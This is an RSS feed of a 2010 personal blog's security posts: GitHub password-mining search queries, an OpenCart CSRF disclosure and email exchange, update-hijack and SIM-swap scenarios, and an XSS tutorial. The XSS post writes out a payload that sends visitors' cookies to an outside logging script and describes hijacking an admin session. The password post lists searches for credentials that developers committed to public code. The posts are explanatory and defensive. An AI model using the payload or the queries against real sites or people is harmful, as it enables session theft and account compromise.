<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ben Maynard&#039;s blog about anything &#187; Security</title>
	<atom:link href="http://blog.visionsource.org/category/when-hacking-comes-natural/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.visionsource.org</link>
	<description>I swear this blog is different from the others!</description>
	<lastBuildDate>Fri, 27 Aug 2010 20:37:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Mining passwords from public GitHub repositories</title>
		<link>http://blog.visionsource.org/2010/08/28/mining-passwords-from-public-github-repositories/</link>
		<comments>http://blog.visionsource.org/2010/08/28/mining-passwords-from-public-github-repositories/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 20:36:59 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[mining passwords]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=118</guid>
		<description><![CDATA[I was on GitHub today, and I had a thought about mining database, account and server passwords of public repositories where the developer has forgotten to remove the password from the source code before pushing to the public repository. I did a simple test using GitHub&#8217;s search using certain keywords eg: root password (http://github.com/search?type=Code&#38;language=&#38;q=root+password&#38;repo=&#38;langOverride=&#38;x=0&#38;y=0&#38;start_value=1) db_password [...]]]></description>
			<content:encoded><![CDATA[<p>I was on GitHub today, and I had a thought about mining database, account and server passwords of public repositories where the developer has forgotten to remove the password from the source code before pushing to the public repository.</p>
<p>I did a simple test using GitHub&#8217;s search using certain keywords eg:</p>
<ul>
<li>root password (<a href="http://github.com/search?type=Code&amp;language=&amp;q=root+password&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1" target="_blank">http://github.com/search?type=Code&amp;language=&amp;q=root+password&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1</a>)</li>
<li>db_password (<a href="http://github.com/search?type=Code&amp;language=&amp;q=db_password&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1">http://github.com/search?type=Code&amp;language=&amp;q=db_password&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1</a>)</li>
<li>db_pass (<a href="http://github.com/search?type=Code&amp;language=&amp;q=db_pass&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1" target="_blank">http://github.com/search?type=Code&amp;language=&amp;q=db_pass&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1</a>)</li>
<li>server password (<a href="http://github.com/search?langOverride=&amp;language=&amp;q=server+password&amp;repo=&amp;start_value=1&amp;type=Code&amp;x=0&amp;y=0" target="_blank">http://github.com/search?langOverride=&amp;language=&amp;q=server+password&amp;repo=&amp;start_value=1&amp;type=Code&amp;x=0&amp;y=0</a>)</li>
</ul>
<p>It only takes you to go through about 10 pages of search results (&#8220;root password&#8221; has over 10,000 results) and you can see a few password&#8217;s that look like real. GitHub do have an article about remove sensitive data (http://help.github.com/removing-sensitive-data/) but also has a good statement line saying &#8220;Once the commit has been pushed you should consider the data to be compromised. Period.&#8221; which is very true but it seems there are alot of developers out there that our committing there passwords. I wonder how many hackers have prowled through GitHub looking for passwords and in result successfully been able to pull of an attack.</p>
<p>However, the best search term is &#8220;gmail password&#8221; (<a href="http://github.com/search?type=Code&amp;language=&amp;q=gmail+password&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1" target="_blank">http://github.com/search?type=Code&amp;language=&amp;q=gmail+password&amp;repo=&amp;langOverride=&amp;x=0&amp;y=0&amp;start_value=1</a>) which as you can see, the first result looks like a real gmail password. I haven&#8217;t tested any of these passwords but I&#8217;m sure there is plenty of real passwords that developers have committed.</p>
<p>So remember, DON&#8217;T COMMIT YOUR PASSWORDS!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2010/08/28/mining-passwords-from-public-github-repositories/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pwnie Awards</title>
		<link>http://blog.visionsource.org/2010/07/24/pwnie-awards/</link>
		<comments>http://blog.visionsource.org/2010/07/24/pwnie-awards/#comments</comments>
		<pubDate>Sat, 24 Jul 2010 04:55:48 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[OpenCart]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=107</guid>
		<description><![CDATA[I was reading my twitter feed and I read that the nominations for the pwnie 2010 awards had been announced, so I go and check it out and to my surprise I noticed my blog post about the OpenCart CSRF issue had been nominated for a pwnie award under Lamest Vendor Response! Never when writing [...]]]></description>
			<content:encoded><![CDATA[<p>I was reading my twitter feed and I read that the nominations for the pwnie 2010 awards had been announced, so I go and check it out and to my surprise I noticed my blog post about the OpenCart CSRF issue had been nominated for a pwnie award under Lamest Vendor Response! Never when writing the blog post did I think it would ever get so big which did at once stage crash my server.</p>
<p>The winners are announced at the BlackHat USA 2010 conference in Las Vagas which is the event ontop of my to go to list&#8230;&#8230;..now where is my free ticket? <img src='http://blog.visionsource.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2010/07/24/pwnie-awards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenCart Secured Upgraded to 1.4.1</title>
		<link>http://blog.visionsource.org/2010/03/09/opencart-secured-upgraded-to-1-4-1/</link>
		<comments>http://blog.visionsource.org/2010/03/09/opencart-secured-upgraded-to-1-4-1/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 00:36:25 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[OpenCart]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=86</guid>
		<description><![CDATA[Quick blog post, just letting everyone know I have update OpenCart Secured to version 1.4.1. If you notice any problems please let me know. You can grab it here: http://github.com/bmaynard/OpenCart-Secured Update: I have now upgraded the repository to 1.4.2 Update 2: I have now upgraded the repository to 1.4.4]]></description>
			<content:encoded><![CDATA[<p>Quick blog post, just letting everyone know I have update OpenCart Secured to version 1.4.1. If you notice any problems please let me know.</p>
<p>You can grab it here: <a href="http://github.com/bmaynard/OpenCart-Secured" target="_blank">http://github.com/bmaynard/OpenCart-Secured</a></p>
<p>Update: I have now upgraded the repository to 1.4.2</p>
<p>Update 2: I have now upgraded the repository to 1.4.4</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2010/03/09/opencart-secured-upgraded-to-1-4-1/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>OpenCart CSRF Vulnerability</title>
		<link>http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/</link>
		<comments>http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 02:41:03 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[OpenCart]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=67</guid>
		<description><![CDATA[I have have started at a new job in Toronto this year, and my first project is an e-commerce website and was tasked to use OpenCart which is the best open source e-commerce software we could find. However an issue I noticed straight away was the application is vulnerable to CSRF attacks via the POST [...]]]></description>
			<content:encoded><![CDATA[<p>I have have started at a new job in Toronto this year, and my first project is an e-commerce website and was tasked to use OpenCart which is the best open source e-commerce software we could find. However an issue I noticed straight away was the application is vulnerable to CSRF attacks via the POST method. Since I take no risks with security I have implemented a fix which generates a token when an admin logs in and appends it to the URL through the Url class.</p>
<p>I have drafted an example of the exploit, sent it to the creator of OpenCart and gave an example of how a user could be targeted with the attacker changing the PayPal email address to their own account. I did this as I didn&#8217;t want to publish the exploit until a fix was implemented and a new version was released, but as the following email transcript will show, this is not going to happen anytime soon.</p>
<blockquote><p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
From: &#8220;Ben&#8221;<br />
Sent: Friday, January 22, 2010 8:06 PM<br />
To: < *******@opencart.com><br />
Subject: OpenCart &#8211; Enquiry</p>
<p>Hi,</p>
<p>I recently installed OpenCart and I noticed that it is vulnerable to CSRF attacks. I have created a sample page that is capable of inserting a rouge user (the page currently prompts you but could be done silently if the attacker knows the url of the site).</p>
<p>http://visionsource.org/*********.html</p>
<p>Please let know that you are looking into the security issue and are going to release an update with a fix otherwise I will make the issue public.</p>
<p>If you need any help fixing the problem please let me know.</p>
<p>Thanks,<br />
Ben.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 4:50 PM, Daniel Kerr wrote:</p>
<p>Ben you seem to be very clever to come up with this. But! you need to be logged in for this to happen.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
From: &#8220;Ben Maynard&#8221;<br />
Sent: Friday, January 22, 2010 11:34 PM<br />
To: &#8220;Daniel Kerr&#8221;<br />
Subject: Re: OpenCart &#8211; Enquiry</p>
<p>HI Daniel,</p>
<p>That is the whole point of a CSRF attack. Please read http://en.wikipedia.org/wiki/Csrf for an explanation on the attack.</p>
<p>This can be very dangerous, for example:</p>
<p>I am an attacker looking at stealing money, I find a websites that are running opencart and have paypal as a payment method. I send the owner an email asking a question about a product and send a link that will perform the attack on the website. The chances of the owner being logged into their opencart admin is high since they are dealing with orders, and a rouge account is created without the user knowing (The attacker could just format the malicious page to look like a 404 not found page so it doesnt raise suspicion with the owner).</p>
<p>The attacker makes the script send an email when the page is hit, so he knows when to logged into the admin section. The attacker then logs in, changes the paypal email address to his own account, deletes the new account to help cover his tracks. He starts to get the money from the website and the owner of the website may not realize what has happened for a couple of days (maybe even longer)!</p>
<p>If someone was to do this, it would cause a major problem for the owner (and buyers who money was stolen).</p>
<p>I have implemented a fix on the website i am working on and dont mind sharing the fix. I create a random token when the user logs in, and in the Url class I add it to the url. There is also a check on the user auth.</p>
<p>Thanks,<br />
Ben.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 7:31 PM, Daniel Kerr wrote:</p>
<p>This sort of thing is down to the client. The software on a clients computer is nothing to do with opencart! There is no way that I&#8217;m responsible for a client being stupid enough to click links in emails.</p>
<p>Even professional banking sites have trouble with the problem you describe.</p>
<p>The only thing a client can take steps to do is only allowing certain IP&#8217;s to access the admin via their hosting.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
From: &#8220;Ben Maynard&#8221;<br />
Sent: Saturday, January 23, 2010 12:52 AM<br />
To: &#8220;Daniel Kerr&#8221;<br />
Subject: Re: OpenCart &#8211; Enquiry</p>
<p>A link in an email is not the only way for this attack to be performed, it was just an example. Its not hard to add protection and would make open cart more secure, security is not something you can take lightly.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 8:05 PM, Daniel Kerr wrote:<br />
what protection do you recommend?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 8:05 PM, Daniel Kerr wrote:<br />
to be honest this again is down to the client. not opencart.</p>
<p>the security problem is very low. seriously how is some one going to trick some one into clicking a link to a site that will them display there own web site admin?</p>
<p>your just wasting my time.</p></blockquote>
<p>Now as you can see, the creator doesn&#8217;t care about security which is a very dangerous thing especially when you are creating e-commerce websites. It is also not hard to find websites running OpenCart, you can just google &#8220;Powered By OpenCart&#8221; and you get thousands of results, imagine how much money could be stolen by targeting half of these websites and who says its not being done right now? This is why it makes me really angry when web developers don&#8217;t take security seriously. Now I love PHP and hate it when people say bad things about the language but its true when they say PHP is like a handgun.</p>
<blockquote><p>PHP is like a handgun. On its own, it is simply an  inanimate tool that has no moral leaning. In the hands of a responsible  citizen, it can be used to the benefit of society. But in the hands of  someone who is untrained or mentally unstable, it can be used to commit  horrible atrocities.</p>
<p>Whenever there&#8217;s such a tragedy, other developers are quick to blame  PHP. If PHP were illegal, then Yahoo! would never have happened. If we  regulated PHP tightly, then there would be no Digg.</p></blockquote>
<p><em><a href="http://www.theregister.co.uk/2009/05/25/dziuba_microsoft_php/" target="_blank">via The Register</a>.</em></p>
<p>Now does anyone have any suggestions on what could be done to get the developer to acknowledge the problem and not just put his head in the sand?</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Potential Security Problem with Automatic Updates</title>
		<link>http://blog.visionsource.org/2009/02/20/potential-security-problem-with-automatic-updates/</link>
		<comments>http://blog.visionsource.org/2009/02/20/potential-security-problem-with-automatic-updates/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 12:56:07 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[applications]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[updates]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=35</guid>
		<description><![CDATA[A new trend that is occurring in a lot of new software, commercial and open source, is the ability to check for updates and install the latest version within the program itself. Now I always love this feature in software and means that I always have the latest version of the application. However the problem [...]]]></description>
			<content:encoded><![CDATA[<p>A new trend that is occurring in a lot of new software, commercial and open source, is the ability to check for updates and install the latest version within the program itself. Now I always love this feature in software and means that I always have the latest version of the application. However the problem with these updates is that they are 100% trusted as safe from the end user and with more and more applications implementing this feature, it is only a matter of time before hackers start to attack these application to distribute their malware.</p>
<p>Since more independent software makers are including this feature into their applications, it wouldn&#8217;t be a stretch of the mind to think that their website has some security holes which could allow an attacker to take control of the webserver with a shell script or something similar.</p>
<p>Now say an attacker has uploaded a php script that takes advantage of the shell and even uses a list of php functions to help his attack. If the software is hosted on the same server, the attacker could then find out how the software checks for updates and trick the application to think that there is a new version and point the download location to where his malware is hosted. Now the end user thinks there is a new version, downloads it and now he has a virus on his machine.</p>
<p>With more and more applications including this feature, it would be possible to find an application that is hosted on a shared hosting environment, and even if their website has no security faults an attacker could potentially perform the same attack but was able to get his/her shell script onto the server through another website hosted on the same machine.</p>
<p>Now it will be interesting to see over the next couple of years to see how common this becomes, and its definitely not a stretch of the imagination that this could happen to a large company as Kaspersky was recently hacked through an sql injection on their website.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2009/02/20/potential-security-problem-with-automatic-updates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Hacking Method</title>
		<link>http://blog.visionsource.org/2009/02/05/new-hacking-method/</link>
		<comments>http://blog.visionsource.org/2009/02/05/new-hacking-method/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 11:05:01 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=31</guid>
		<description><![CDATA[I watched this video the other day about a man who had 90k stolen out of his bank account. Now there is nothing new about that but the problem the hackers faced is that the commenwealth bank employ a SMS code verification system so in order for the attackers to transfer the money out they [...]]]></description>
			<content:encoded><![CDATA[<p>I watched this video the other day about a man who had 90k stolen out of his bank account. Now there is nothing new about that but the problem the hackers faced is that the commenwealth bank employ a SMS code verification system so in order for the attackers to transfer the money out they had to get the SMS code.</p>
<p>So what they did was transfer the man&#8217;s number over to an unknown carrier, and then transfered the money and wollah they now have the SMS code since they took control of his phone. Unfortunally there wasn&#8217;t much information about the attack, but I would have to think they would of had alot of personal information already to succesfully pull of the hack. Still it is something to think about on possiable hacking methods.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2009/02/05/new-hacking-method/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Username based primary key issues</title>
		<link>http://blog.visionsource.org/2008/03/09/username-based-primary-key-issues/</link>
		<comments>http://blog.visionsource.org/2008/03/09/username-based-primary-key-issues/#comments</comments>
		<pubDate>Sun, 09 Mar 2008 11:32:29 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/2008/03/09/username-based-primary-key-issues/</guid>
		<description><![CDATA[ha.ckers.org have a good article about issue&#8217;s on using usernames as a primary key, which i highly agree with and believe that you should always have an increment unique id. http://ha.ckers.org/blog/20080305/username-based-primary-key-issues/]]></description>
			<content:encoded><![CDATA[<p><a href="http://ha.ckers.org" target="_blank">ha.ckers.org</a> have a good article about issue&#8217;s on using usernames as a primary key, which i highly agree with and believe that you should always have an increment unique id.</p>
<p><a href="http://ha.ckers.org/blog/20080305/username-based-primary-key-issues/" target="_blank">http://ha.ckers.org/blog/20080305/username-based-primary-key-issues/ </a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2008/03/09/username-based-primary-key-issues/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS Attacks</title>
		<link>http://blog.visionsource.org/2008/03/06/xss-attacks/</link>
		<comments>http://blog.visionsource.org/2008/03/06/xss-attacks/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 11:11:50 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[session hi-jacking]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[XSS attacks]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/2008/03/06/xss-attacks/</guid>
		<description><![CDATA[First off, welcome you all to my blog and I hope to keep it updated. The main things I will be talking about is PHP and mainly the security sides of it. To give you a quick background, I have been working full time as a PHP developer in the web industry for just over [...]]]></description>
			<content:encoded><![CDATA[<p>First off, welcome you all to my blog and I hope to keep it updated. The main things I will be talking about is PHP and mainly the security sides of it. To give you a quick background, I have been working full time as a PHP developer in the web industry for just over 2 years, and a year prior I was at tafe doing a cert 4 in website design and a diploma in website development.</p>
<p>My first post will be about <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank">Cross-site Scripting (XSS)</a> attacks, which I have had to deal with this week. XSS IS A HUGE AND DANGEROUS issue posed in any web application, which allows the attacker to inject code into your application. The most popular type of XSS attack is injecting HTML or javascript into the browser output. This is caused when the developer does not correctly sanitize their input, and prints it out to the browser. There are also more powerful XSS attacks which injects code into the actual application eg: when including a php file, you grab the file name straight from the browser, but I will not go into this because frankly if your application contains a security issue like this……..well you have chosen the wrong industry (ok, you’re learning, well I suppose your excused).</p>
<p>A common XSS exploit is to grab the contents of the cookies via javascript, and to email/log the results. Bellow is the vulnerable PHP code:</p>
<pre lang="”php”">
echo “Message: “ . $_GET[‘msg’];</pre>
<p>As you can see, I print the input from the user straight to the browser. As an attacker, I could run this url: badfile.php?msg= &lt;script&gt;document.write(&#8216;&lt;img src=&#8221;http://visionsource.org/xssattack.php?cookie=&#8217; + document.cookie + &#8216;&#8221;&gt;&#8217;);&lt;/script&gt;. Now that will email me the contents of the cookies of whoever visits that url. So what you’re saying? Who is ever going to go to that url? The answer is possibly you. Early this week I demonstrated this very hack which in returned allowed me access to the admin control panel of the website. How I did this was on the victim machine, I logged into the admin panel (for the specific attack, I wanted admin access) and then after I was finished in the admin area, I proceeded to the forum which an admin should be visiting since it is their site and all. I then set up a post in the forum, made a link to the made url, gave the link a creative name like “error with website, what’s wrong with it admin?” (creativity, I don’t have it).</p>
<p>The admin then clicked on the link, which emailed me their cookies and contained the user’s PHP Session id. I then went to my machine and changed my PHP Session id to be the value of the victims session, went to the admin panel and wollah I’m in. This is due to the victim was still logged into the admin area and I then stole their session. From here I could create some serious damage, change all the content to whatever I want, make all the pages redirect to a website of myn, anything!</p>
<p>This is a very basic XSS attack, but yet can still create some serious damage to the website in question. Some other forms to make the user visit the special crafted url is to put the link in an image, which automatically gets loaded some as the victim loads the page and it’s possible for the admin to not even notice the attack, giving you more time to hack the website (and more tries). Attacks like this don’t just limit to admins, but even members of the website so I can log into the profile and view pm’s, history of actions on the website etc.</p>
<p>To avoid these attacks, you can run the <a href="http://au2.php.net/manual/en/function.strip-tags.php" target="_blank">strip_tags()</a> or <a href="http://au2.php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars()</a> or <a href="http://au2.php.net/manual/en/function.htmlentities.php" target="_blank">htmlentities()</a> function, but I suggest using a well known third party library to prevent XSS attacks. I recommend <a href="http://htmlpurifier.org/" target="_blank">HTML Purifier</a> which seems to be one of the best filters out in the market plus its open source.</p>
<p>The one thing you have to remember as a developer is never think it won’t happen to you, because it will, your business will look bad and you could even get fired!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2008/03/06/xss-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
